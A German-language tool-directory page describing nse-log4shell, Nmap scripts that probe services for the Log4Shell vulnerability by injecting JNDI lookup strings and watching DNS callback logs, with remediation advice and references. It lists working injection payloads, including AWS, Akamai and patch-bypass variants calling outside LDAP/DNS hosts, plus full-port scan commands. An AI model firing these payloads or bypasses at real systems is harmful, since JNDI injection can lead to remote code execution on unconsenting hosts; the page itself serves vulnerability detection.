Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
nse-log4shell — Nmap NSE-Skripte zur Überprüfung auf log4shell- oder LogJam-Sicherheitslücken (CVE-2021-44228) | Kitploit
Tools/GitHubGitHub/diverto/nse-log4shell
SchwachstellenscannerExploitationWebsicherheitNetzwerksicherheitPenetrationstestsDNS-AnalyseArchived
GitHubdiverto/nse-log4shell

nse-log4shell

Nmap NSE-Skripte zur Überprüfung auf log4shell- oder LogJam-Sicherheitslücken (CVE-2021-44228)

Repository anzeigen
35247vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

nse-log4shell

Nmap NSE-Skripte zur Überprüfung auf Log4Shell- oder LogJam-Schwachstellen (CVE-2021-44228). Die NSE-Skripte überprüfen die gängigsten exponierten Dienste im Internet. Es handelt sich um ein einfaches Skript, bei dem Sie die Payload anpassen können.

Beispiele

Beachten Sie, dass die NSE-Skripte nur die Anfragen an die Dienste senden. Nmap meldet keine verwundbaren Hosts; Sie müssen die DNS-Protokolle überprüfen, um die Verwundbarkeit festzustellen. Wenn Sie keine Payload manuell angeben, verwenden die NSE-Skripte standardmäßig dnslog.cn. Das bedeutet, dass Anfragen von dnslog.cn gesehen werden.

Schnell mit Hilfe von dnslog.cn

Navigieren Sie in das Verzeichnis, in dem sich diese Skripte befinden, und führen Sie die folgenden Befehle aus (Nmap ruft dnslog.cn automatisch ab).

Unter Linux:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Unter Windows:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

Zu berücksichtigende Payloads

Neuer Patch-Bypass für v2.15.0 (CVE-2021-45046), danke an @marcioalm (Tweet):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWS-Bypass (danke an @11xuxx - Tweet):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamai-Bypass (danke an @ozgur_bbh - Tweet):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

Manuelle Konfiguration

Windows-Beispiel (Danke an @ZedFuzz) – beachten Sie, wie man die Anführungszeichen escaped:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

Mit Hilfe von logdns (benutzerdefinierter DNS-Logging-Server)

Gehen Sie zu http://github.com/kost/logdns und holen Sie sich den DNS-Server. Besorgen Sie sich eine Domain und zeigen Sie auf den Ort, an dem Sie logdns installiert haben:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Mit Hilfe von dnslog.cn

Gehen Sie zu http://dnslog.cn/ und holen Sie sich eine SubDomain. Ersetzen Sie Ihr xxxx durch Ihre SubDomain:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Mit Hilfe von Burp Collaborator

Nehmen Sie Ihre Domain von Burp Collaborator und ersetzen Sie xxxx durch Ihre Domain:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Mit Hilfe von CanaryToken (https://canarytokens.org/generate#)

Nehmen Sie Ihr Token von CanaryToken und ersetzen Sie xxxx durch Ihre Domain:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

Danke an @saintz666

Empfohlene Vorgehensweise

dnslog.cn hat kurze Sitzungen (ca. eine halbe Stunde). Es sollte eine Möglichkeit geben, die Sitzung auf die Dauer des Scans zu verlängern. Außerdem erfolgt die DNS-Abfrage manchmal viel später als der Empfang der Anforderung. Es wurde berichtet, dass DNS-Anfragen Stunden nach der Anforderung eingingen. Als Workaround rufen die NSE-Skripte von Nmap nach jedem gescannten Host die Sitzung ab.

Daher ist es derzeit zur besten Sicherheit, eine benutzerdefinierte DNS-Domain mit einem Tool wie logdns zu verwenden: https://github.com/kost/logdns

Beispielausgabe

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

Lösung/Behebungen

Liste der besten Behebungen und Workarounds.

Beste Behebung

Beste Lösung zum Schutz vor CVE-2021-44228: Aktualisierung auf log4j-2.16.0 oder neuer.

Beachten Sie, dass log4j-2.15.0-rc1 nicht mehr empfohlen wird, da neue Schwachstellen gefunden wurden. Daher sollten Sie auf log4j-2.16.0 oder neuer aktualisieren (danke @ruppde).

Beachten Sie auch, dass andere Empfehlungen wie das Setzen von log4j2.formatMsgNoLookups auf true vermieden werden sollten.

Beste Identifikation

Es ist am besten, die Log4Shell-Schwachstelle zu identifizieren, indem man das lokale Dateisystem nach log4j-Artefakten durchsucht.

Diese NSE-Skripte sollten nur zur zusätzlichen Absicherung verwendet werden. NSEs helfen bei der Identifizierung verwundbarer Dienste, nicht der verwundbaren Anwendung. Sie können eine verwundbare Anwendung identifizieren, wenn sie jede Anfrage protokolliert (einschließlich root /), nicht wenn die Schwachstelle hinter einem Login verborgen ist. Dafür benötigen Sie einen Web-Scanner, der das gesamte Web crawlt.

Sie können einen bestimmten URI mit folgendem Beispiel überprüfen: http-log4shell.url=/my/application/uri

Es überprüft über HTTP-Header und Cookies. Wenn Sie POST/GET-Formulare überprüfen müssen, sollten Sie http-spider-log4shell ausprobieren. Dennoch ist es am besten, einen Web-Scanner mit Unterstützung für log4j zu verwenden.

Beachten Sie auch, dass die DNS-Auflösung mit Präfix-Kombinationen in einem Ausdruck für log4j-core <= 2.7 anscheinend nicht unterstützt wird. Daher könnte das Testen mit etwas wie ${java:os} zu falsch Negativen führen. Daher ist es besser, ein paar falsch Positive als Negative zu haben.

Referenzen

Allgemeine Referenzen und Links zur Schwachstelle

Allgemein

Reddit-Thread - Allgemeine Informationen zu Log4Shell

NCC log4shell - Betriebliche Informationen zur Schwachstelle (IOCs, Mitigation, Scannen, Software)

Verwandt

BlueTeam CheatSheet Log4Shell - Sicherheitshinweise/-Bulletins zu Log4Shell (CVE-2021-44228)

Software-Liste - cheat-sheet reference guide - Liste betroffener Software nach Herstellerreaktionen

Testen

Beachten Sie, dass Remote- und Online-Checks als zusätzliche Absicherung oder schneller Test nützlich sind. Für eine zusätzliche Absicherung wird empfohlen, lokale Dateien auf bekannte log4j-Signaturen zu scannen.

lo4shell.huntress.com - Online Log4Shell Vulnerability Tester

log4j yara - Yara-Regeln für die lokale Erkennung

identify-log4j-class-location.sh - Skript zur Identifizierung der von CVE-2021-44228 betroffenen Log4J-Klasse in einer Sammlung von ear/war/jar-Dateien

Ausnutzung

PoC-log4j-bypass-words - Ein Trick, um Wortblockaden zu umgehen

Erkennung von Ausnutzungsversuchen

log4shell-detector - Detektor für Log4Shell-Ausnutzungsversuche

Log4Shell-IOCs - Eine Liste von IOC-Feeds und Bedrohungsberichten

log4j_rce_detection.md - Mit diesen Befehlen und Regeln können Sie nach Ausnutzungsversuchen suchen

Schadensbegrenzung/Behebung

log4j advisory - Apache Log4j Sicherheitslücken

log4j pull request and comments - Pull-Request, der den Fehler behebt, mit Kommentaren

Logout4Shell - Schnelle und schmutzige Alternative zur manuellen Patchen

Tool herunterladen